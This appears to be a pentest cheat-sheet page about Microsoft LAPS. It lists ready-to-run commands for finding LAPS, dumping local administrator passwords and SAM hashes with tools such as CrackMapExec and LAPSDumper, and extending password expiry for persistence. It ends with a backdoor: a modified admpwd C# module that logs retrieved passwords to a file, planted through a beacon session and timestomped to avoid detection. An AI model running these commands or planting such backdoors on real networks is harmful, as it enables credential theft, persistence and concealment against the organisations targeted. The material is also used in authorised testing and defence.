> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/laps.md).

# LAPS

* <https://adsecurity.org/?p=1790>

## Enabled?

Check locally:

```
PS > gc "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-FileHash "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-AuthenticodeSignature "c:\program files\LAPS\CSE\Admpwd.dll"
```

Check in LDAP:

```
PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=megacorp,DC=local"
PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwdExpirationTime,CN=Schema,CN=Configuration,DC=megacorp,DC=local"
```

Extract SAM with CME and compare admins' hashes:

```
$ for ip in `cat smb.txt`; do cme smb $ip -u snovvcrash -p 'Passw0rd!' --sam 2>/dev/null | grep -av '(' | grep -ai -e admin -e админ; sleep 1; done
```

Grab from BloodHound dump:

```
$ cat 19700101000000_computers | jq '.data[].Properties | select(.enabled == true and .haslaps == false and .operatingsystem != null) | select(.distinguishedname | contains("Servers")) | select(.operatingsystem | contains("Windows")) | .name' -r > nolaps_servers.txt
```

## Get Passwords

### PowerShell

#### ActiveDirectory

Query LDAP for AD computer objects with their passwords and its expiration date:

```
PS > $laps = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime -Server DC01 | ? {$_.'ms-Mcs-AdmPwd'} | select Name,ms-Mcs-AdmPwd,@{label="ExpDate";Expression={([datetime]::FromFileTime([convert]::ToInt64($_.'ms-Mcs-AdmPwdExpirationTime')))}}
PS > $laps | select -First 10
```

Check the name of enabled local administrators on a remote machine:

```
PS > Get-CimInstance -ComputerName SRV01 -ClassName Win32_Group -Filter "Name='Administrators'" | Get-CimAssociatedInstance -Association Win32_GroupUser | ? {$_.Disabled -eq $false} | fl
```

Change LAPS password (just zero the expiration time attribute):

```
PS > Get-ADComputer PC01 -Properties ms-MCS-AdmPwdExpirationTime| % {Set-ADComputer -Identity $_ -Replace @{"ms-MCS-AdmPwdExpirationTime" = "0"}}
```

#### Get-LAPSPasswords

* <https://www.netspi.com/blog/technical/network-penetration-testing/running-laps-around-cleartext-passwords/>
* <https://github.com/kfosaaen/Get-LAPSPasswords>

```
PS > $cred = New-Object System.Management.Automation.PSCredential('snovvcrash', $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force))
PS > Get-LAPSPasswords -DomainController 10.10.13.37 -Credential $cred | fl
```

#### LAPSToolkit

* <https://www.pentestgeek.com/penetration-testing/another-lap-around-microsoft-laps>
* <https://github.com/leoloobeek/LAPSToolkit>

Enumerate LAPS groups and permissions:

```
PS > $lapsGroups = Find-LAPSDelegatedGroups
PS > $lapsRights = Find-AdmPwdExtendedRights
```

Get passwords:

```
PS > Get-LAPSComputers
```

### CrackMapExec

* <https://github.com/T3KX/Crackmapexec-LAPS>
* <https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/laps.py>

```
$ cme ldap <DC_IP> -u snovvcrash -p 'Passw0rd!' -M laps
```

### LAPSDumper

* <https://github.com/n00py/LAPSDumper>

```
$ python laps.py -d megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python laps.py -d megacorp.local -l DC01.megacorp.local -u snovvcrash -p aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
```

## Persistence

Increase the expiration time of a compromised computer object's `ms-mcs-admpwdexpirationtime` property value:

```
PV3 > Get-DomainObject -Identity SRV01 -Properties ms-mcs-admpwdexpirationtime
PV3 > Set-DomainObject -Identity SRV01 -Set @{"ms-mcs-admpwdexpirationtime"="<EPOCH>"}
```

## Backdoor

Recompile [admpwd](https://github.com/GreyCorbel/admpwd) having added some evil code [here](https://github.com/GreyCorbel/admpwd/blob/1461172b2002ce37e31c221f6532a8ce7de1a295/Main/AdmPwd.PS/Main.cs#L140):

```csharp
PasswordInfo pi = DirectoryUtils.GetPasswordInfo(dn);
var line = $"{pi.ComputerName} : {pi.Password}";
System.IO.File.AppendAllText(@"C:\Temp\LAPS.txt", line);
WriteObject(pi);
```

Replace the original `AdmPwd.PS.dll` assembly with a newly generated one and fix the timestamp:

```
beacon> cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS
beacon> upload AdmPwd.PS.dll
beacon> timestomp AdmPwd.PS.dll AdmPwd.PS.psd1
beacon> ls
```
